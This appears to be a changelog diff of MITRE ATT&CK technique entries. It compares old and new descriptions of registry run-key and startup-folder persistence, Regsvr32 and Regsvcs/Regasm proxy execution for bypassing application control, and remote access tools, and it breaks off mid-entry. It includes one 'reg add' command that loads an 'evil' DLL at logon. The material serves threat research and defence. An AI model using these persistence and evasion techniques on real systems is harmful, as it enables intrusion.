| t | 1 | Adversaries may achieve persistence by adding a program to a | t | 1 | Adversaries may achieve persistence by adding a program to a |
| > | startup folder or referencing it with a Registry run key. A | > | startup folder or referencing it with a Registry run key. A | ||
| > | dding an entry to the "run keys" in the Registry or startup | > | dding an entry to the "run keys" in the Registry or startup | ||
| > | folder will cause the program referenced to be executed when | > | folder will cause the program referenced to be executed when | ||
| > | a user logs in.(Citation: Microsoft Run Key) These programs | > | a user logs in.(Citation: Microsoft Run Key) These programs | ||
| > | will be executed under the context of the user and will hav | > | will be executed under the context of the user and will hav | ||
| > | e the account's associated permissions level. The following | > | e the account's associated permissions level. The following | ||
| > | run keys are created by default on Windows systems: * <cod | > | run keys are created by default on Windows systems: * <cod | ||
| > | e>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio | > | e>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio | ||
| > | n\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Wi | > | n\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Wi | ||
| > | ndows\CurrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHI | > | ndows\CurrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHI | ||
| > | NE\Software\Microsoft\Windows\CurrentVersion\Run</code> * <c | > | NE\Software\Microsoft\Windows\CurrentVersion\Run</code> * <c | ||
| > | ode>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer | > | ode>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer | ||
| > | sion\RunOnce</code> Run keys may exist under multiple hives | > | sion\RunOnce</code> Run keys may exist under multiple hives | ||
| > | .(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebyt | > | .(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebyt | ||
| > | es Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\M | > | es Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\M | ||
| > | icrosoft\Windows\CurrentVersion\RunOnceEx</code> is also ava | > | icrosoft\Windows\CurrentVersion\RunOnceEx</code> is also ava | ||
| > | ilable but is not created by default on Windows Vista and ne | > | ilable but is not created by default on Windows Vista and ne | ||
| > | wer. Registry run key entries can reference programs directl | > | wer. Registry run key entries can reference programs directl | ||
| > | y or list them as a dependency.(Citation: Microsoft Run Key) | > | y or list them as a dependency.(Citation: Microsoft Run Key) | ||
| > | For example, it is possible to load a DLL at logon using a | > | For example, it is possible to load a DLL at logon using a | ||
| > | "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Mic | > | "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Mic | ||
| > | rosoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d | > | rosoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d | ||
| > | "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx | > | "C:\temp\evil[.]dll"</code>(Citation: Oddvar Moe RunOnceEx M | ||
| > | Mar 2018) Placing a program within a startup folder will al | > | ar 2018) Placing a program within a startup folder will als | ||
| > | so cause that program to execute when a user logs in. There | > | o cause that program to execute when a user logs in. There i | ||
| > | is a startup folder location for individual user accounts as | > | s a startup folder location for individual user accounts as | ||
| > | well as a system-wide startup folder that will be checked r | > | well as a system-wide startup folder that will be checked re | ||
| > | egardless of which user account logs in. The startup folder | > | gardless of which user account logs in. The startup folder p | ||
| > | path for the current user is <code>C:\Users\\[Username]\AppD | > | ath for the current user is <code>C:\Users\\[Username]\AppDa | ||
| > | ata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</c | > | ta\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</co | ||
| > | ode>. The startup folder path for all users is <code>C:\Prog | > | de>. The startup folder path for all users is <code>C:\Progr | ||
| > | ramData\Microsoft\Windows\Start Menu\Programs\StartUp</code> | > | amData\Microsoft\Windows\Start Menu\Programs\StartUp</code>. | ||
| > | . The following Registry keys can be used to set startup fo | > | The following Registry keys can be used to set startup fol | ||
| > | lder items for persistence: * <code>HKEY_CURRENT_USER\Softw | > | der items for persistence: * <code>HKEY_CURRENT_USER\Softwa | ||
| > | are\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fol | > | re\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fold | ||
| > | ders</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Win | > | ers</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Wind | ||
| > | dows\CurrentVersion\Explorer\Shell Folders</code> * <code>HK | > | ows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKE | ||
| > | EY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\E | > | Y_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Ex | ||
| > | xplorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFT | > | plorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTW | ||
| > | WARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fo | > | ARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fol | ||
| > | lders</code> The following Registry keys can control automa | > | ders</code> The following Registry keys can control automat | ||
| > | tic startup of services during boot: * <code>HKEY_LOCAL_MAC | > | ic startup of services during boot: * <code>HKEY_LOCAL_MACH | ||
| > | HINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOn | > | INE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnc | ||
| > | ce</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windo | > | e</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Window | ||
| > | ws\CurrentVersion\RunServicesOnce</code> * <code>HKEY_LOCAL_ | > | s\CurrentVersion\RunServicesOnce</code> * <code>HKEY_LOCAL_M | ||
| > | MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService | > | ACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices | ||
| > | s</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Window | > | </code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows | ||
| > | s\CurrentVersion\RunServices</code> Using policy settings t | > | \CurrentVersion\RunServices</code> Using policy settings to | ||
| > | o specify startup programs creates corresponding values in e | > | specify startup programs creates corresponding values in ei | ||
| > | ither of two Registry keys: * <code>HKEY_LOCAL_MACHINE\Soft | > | ther of two Registry keys: * <code>HKEY_LOCAL_MACHINE\Softw | ||
| > | ware\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run< | > | are\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</ | ||
| > | /code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\ | > | code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\C | ||
| > | CurrentVersion\Policies\Explorer\Run</code> Programs listed | > | urrentVersion\Policies\Explorer\Run</code> Programs listed | ||
| > | in the load value of the registry key <code>HKEY_CURRENT_US | > | in the load value of the registry key <code>HKEY_CURRENT_USE | ||
| > | ER\Software\Microsoft\Windows NT\CurrentVersion\Windows</cod | > | R\Software\Microsoft\Windows NT\CurrentVersion\Windows</code | ||
| > | e> run automatically for the currently logged-on user. By d | > | > run automatically for the currently logged-on user. By de | ||
| > | efault, the multistring <code>BootExecute</code> value of th | > | fault, the multistring <code>BootExecute</code> value of the | ||
| > | e registry key <code>HKEY_LOCAL_MACHINE\System\CurrentContro | > | registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControl | ||
| > | lSet\Control\Session Manager</code> is set to <code>autochec | > | Set\Control\Session Manager</code> is set to <code>autocheck | ||
| > | k autochk *</code>. This value causes Windows, at startup, t | > | autochk *</code>. This value causes Windows, at startup, to | ||
| > | o check the file-system integrity of the hard disks if the s | > | check the file-system integrity of the hard disks if the sy | ||
| > | ystem has been shut down abnormally. Adversaries can add oth | > | stem has been shut down abnormally. Adversaries can add othe | ||
| > | er programs or processes to this registry value which will a | > | r programs or processes to this registry value which will au | ||
| > | utomatically launch at boot. Adversaries can use these conf | > | tomatically launch at boot. Adversaries can use these confi | ||
| > | iguration locations to execute malware, such as remote acces | > | guration locations to execute malware, such as remote access | ||
| > | s tools, to maintain persistence through system reboots. Adv | > | tools, to maintain persistence through system reboots. Adve | ||
| > | ersaries may also use [Masquerading](https://attack.mitre.or | > | rsaries may also use [Masquerading](https://attack.mitre.org | ||
| > | g/techniques/T1036) to make the Registry entries look as if | > | /techniques/T1036) to make the Registry entries look as if t | ||
| > | they are associated with legitimate programs. | > | hey are associated with legitimate programs. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-04 00:53:43.122000+00:00 |
| description | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"(Citation: Oddvar Moe RunOnceEx Mar 2018)
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'} |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Regsvcs and Regasm to proxy execution | t | 1 | Adversaries may abuse Regsvcs and Regasm to proxy execution |
| > | of code through a trusted Windows utility. Regsvcs and Regas | > | of code through a trusted Windows utility. Regsvcs and Regas | ||
| > | m are Windows command-line utilities that are used to regist | > | m are Windows command-line utilities that are used to regist | ||
| > | er .NET [Component Object Model](https://attack.mitre.org/te | > | er .NET [Component Object Model](https://attack.mitre.org/te | ||
| > | chniques/T1559/001) (COM) assemblies. Both are binaries that | > | chniques/T1559/001) (COM) assemblies. Both are binaries that | ||
| > | may be digitally signed by Microsoft. (Citation: MSDN Regsv | > | may be digitally signed by Microsoft.(Citation: MSDN Regsvc | ||
| > | cs) (Citation: MSDN Regasm) Both utilities may be used to b | > | s)(Citation: MSDN Regasm) Both utilities may be used to byp | ||
| > | ypass application control through use of attributes within t | > | ass application control through use of attributes within the | ||
| > | he binary to specify code that should be run before registra | > | binary to specify code that should be run before registrati | ||
| > | tion or unregistration: <code>[ComRegisterFunction]</code> o | > | on or unregistration: <code>[ComRegisterFunction]</code> or | ||
| > | r <code>[ComUnregisterFunction]</code> respectively. The cod | > | <code>[ComUnregisterFunction]</code> respectively. The code | ||
| > | e with the registration and unregistration attributes will b | > | with the registration and unregistration attributes will be | ||
| > | e executed even if the process is run under insufficient pri | > | executed even if the process is run under insufficient privi | ||
| > | vileges and fails to execute. (Citation: LOLBAS Regsvcs)(Cit | > | leges and fails to execute.(Citation: LOLBAS Regsvcs)(Citati | ||
| > | ation: LOLBAS Regasm) | > | on: LOLBAS Regasm) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.714000+00:00 | 2026-11-04 00:44:27.488000+00:00 |
| description | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.(Citation: MSDN Regsvcs)(Citation: MSDN Regasm)
Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Regsvr32.exe to proxy execution of mal | t | 1 | Adversaries may abuse Regsvr32.exe to proxy execution of mal |
| > | icious code. Regsvr32.exe is a command-line program used to | > | icious code. Regsvr32.exe is a command-line program used to | ||
| > | register and unregister object linking and embedding control | > | register and unregister object linking and embedding control | ||
| > | s, including dynamic link libraries (DLLs), on Windows syste | > | s, including dynamic link libraries (DLLs), on Windows syste | ||
| > | ms. The Regsvr32.exe binary may also be signed by Microsoft. | > | ms. The Regsvr32.exe binary may also be signed by Microsoft. | ||
| > | (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32 | > | (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32. | ||
| > | .exe may avoid triggering security tools that may not monito | > | exe may avoid triggering security tools that may not monitor | ||
| > | r execution of, and modules loaded by, the regsvr32.exe proc | > | execution of, and modules loaded by, the regsvr32.exe proce | ||
| > | ess because of allowlists or false positives from Windows us | > | ss because of allowlists or false positives from Windows usi | ||
| > | ing regsvr32.exe for normal operations. Regsvr32.exe can als | > | ng regsvr32.exe for normal operations. Regsvr32.exe can also | ||
| > | o be used to specifically bypass application control using f | > | be used to specifically bypass application control using fu | ||
| > | unctionality to load COM scriptlets to execute DLLs under us | > | nctionality to load COM scriptlets to execute DLLs under use | ||
| > | er permissions. Since Regsvr32.exe is network and proxy awar | > | r permissions. Since Regsvr32.exe is network and proxy aware | ||
| > | e, the scripts can be loaded by passing a uniform resource l | > | , the scripts can be loaded by passing a uniform resource lo | ||
| > | ocator (URL) to file on an external Web server as an argumen | > | cator (URL) to file on an external Web server as an argument | ||
| > | t during invocation. This method makes no changes to the Reg | > | during invocation. This method makes no changes to the Regi | ||
| > | istry as the COM object is not actually registered, only exe | > | stry as the COM object is not actually registered, only exec | ||
| > | cuted. (Citation: LOLBAS Regsvr32) This variation of the tec | > | uted.(Citation: LOLBAS Regsvr32) This variation of the techn | ||
| > | hnique is often referred to as a "Squiblydoo" and has been u | > | ique is often referred to as a "Squiblydoo" and has been use | ||
| > | sed in campaigns targeting governments. (Citation: Carbon Bl | > | d in campaigns targeting governments.(Citation: Carbon Black | ||
| > | ack Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeti | > | Squiblydoo Apr 2016)(Citation: FireEye Regsvr32 Targeting M | ||
| > | ng Mongolian Gov) Regsvr32.exe can also be leveraged to reg | > | ongolian Gov) Regsvr32.exe can also be leveraged to registe | ||
| > | ister a COM Object used to establish persistence via [Compon | > | r a COM Object used to establish persistence via [Component | ||
| > | ent Object Model Hijacking](https://attack.mitre.org/techniq | > | Object Model Hijacking](https://attack.mitre.org/techniques/ | ||
| > | ues/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | > | T1546/015).(Citation: Carbon Black Squiblydoo Apr 2016) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.709000+00:00 | 2026-11-04 00:45:16.848000+00:00 |
| description | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.(Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.(Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments.(Citation: Carbon Black Squiblydoo Apr 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).(Citation: Carbon Black Squiblydoo Apr 2016) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may use legitimate desktop support software to | t | 1 | An adversary may use legitimate desktop support software to |
| > | establish an interactive command and control channel to targ | > | establish an interactive command and control channel to targ | ||
| > | et systems within networks. Desktop support software provide | > | et systems within networks. Desktop support software provide | ||
| > | s a graphical interface for remotely controlling another com | > | s a graphical interface for remotely controlling another com | ||
| > | puter, transmitting the display output, keyboard input, and | > | puter, transmitting the display output, keyboard input, and | ||
| > | mouse control between devices using various protocols. Deskt | > | mouse control between devices using various protocols. Deskt | ||
| > | op support software, such as `VNC`, `Team Viewer`, `AnyDesk` | > | op support software tools, such as `VNC`, `Team Viewer`, `An | ||
| > | , `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote | > | yDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other | ||
| > | monitoring and management (RMM) tools, are commonly used as | > | remote monitoring and management (RMM) tools, are commonly u | ||
| > | legitimate technical support software and may be allowed by | > | sed as legitimate technical support software and may be allo | ||
| > | application control within a target environment.(Citation: | > | wed by application control within a target environment.(Cita | ||
| > | Symantec Living off the Land)(Citation: CrowdStrike 2015 Glo | > | tion: Symantec Living off the Land)(Citation: CrowdStrike 20 | ||
| > | bal Threat Report)(Citation: CrySyS Blog TeamSpy) Remote | > | 15 Global Threat Report)(Citation: CrySyS Blog TeamSpy) R | ||
| > | access modules/features may also exist as part of otherwise | > | emote access modules/features may also exist as part of othe | ||
| > | existing software such as Zoom or Google Chrome’s Remote Des | > | rwise existing software such as Zoom or Google Chrome’s Remo | ||
| > | ktop.(Citation: Google Chrome Remote Desktop)(Citation: Chro | > | te Desktop.(Citation: Google Chrome Remote Desktop)(Citation | ||
| > | me Remote Desktop) | > | : Chrome Remote Desktop) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.717000+00:00 | 2026-11-04 03:19:00.616000+00:00 |
| description | An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Remote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome’s Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop) | An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software tools, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Remote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome’s Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop) |
Current version: 1.6
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into a service that accepts remot | > | g/techniques/T1078) to log into a service that accepts remot | ||
| > | e connections, such as telnet, SSH, and VNC. The adversary m | > | e connections, such as telnet, SSH, and VNC. The adversary m | ||
| > | ay then perform actions as the logged-on user. In an enterp | > | ay then perform actions as the logged-on user. In an enterp | ||
| > | rise environment, servers and workstations can be organized | > | rise environment, servers and workstations can be organized | ||
| > | into domains. Domains provide centralized identity managemen | > | into domains. Domains provide centralized identity managemen | ||
| > | t, allowing users to login using one set of credentials acro | > | t, allowing users to log in using one set of credentials acr | ||
| > | ss the entire network. If an adversary is able to obtain a s | > | oss the entire network. If an adversary is able to obtain a | ||
| > | et of valid domain credentials, they could login to many dif | > | set of valid domain credentials, they could log in to many d | ||
| > | ferent machines using remote access protocols such as secure | > | ifferent machines using remote access protocols such as secu | ||
| > | shell (SSH) or remote desktop protocol (RDP).(Citation: SSH | > | re shell (SSH) or remote desktop protocol (RDP).(Citation: S | ||
| > | Secure Shell)(Citation: TechNet Remote Desktop Services) Th | > | SH Secure Shell)(Citation: TechNet Remote Desktop Services) | ||
| > | ey could also login to accessible SaaS or IaaS services, suc | > | They could also log in to accessible SaaS or IaaS services, | ||
| > | h as those that federate their identities to the domain, or | > | such as those that federate their identities to the domain, | ||
| > | management platforms for internal virtualization environment | > | or management platforms for internal virtualization environm | ||
| > | s such as VMware vCenter. Legitimate applications (such as | > | ents such as VMware vCenter. Legitimate applications (such | ||
| > | [Software Deployment Tools](https://attack.mitre.org/techni | > | as [Software Deployment Tools](https://attack.mitre.org/tec | ||
| > | ques/T1072) and other administrative programs) may utilize [ | > | hniques/T1072) and other administrative programs) may utiliz | ||
| > | Remote Services](https://attack.mitre.org/techniques/T1021) | > | e [Remote Services](https://attack.mitre.org/techniques/T102 | ||
| > | to access remote hosts. For example, Apple Remote Desktop (A | > | 1) to access remote hosts. For example, Apple Remote Desktop | ||
| > | RD) on macOS is native software used for remote management. | > | (ARD) on macOS is native software used for remote managemen | ||
| > | ARD leverages a blend of protocols, including [VNC](https:// | > | t. ARD leverages a blend of protocols, including [VNC](https | ||
| > | attack.mitre.org/techniques/T1021/005) to send the screen an | > | ://attack.mitre.org/techniques/T1021/005) to send the screen | ||
| > | d control buffers and [SSH](https://attack.mitre.org/techniq | > | and control buffers and [SSH](https://attack.mitre.org/tech | ||
| > | ues/T1021/004) for secure file transfer.(Citation: Remote Ma | > | niques/T1021/004) for secure file transfer.(Citation: Remote | ||
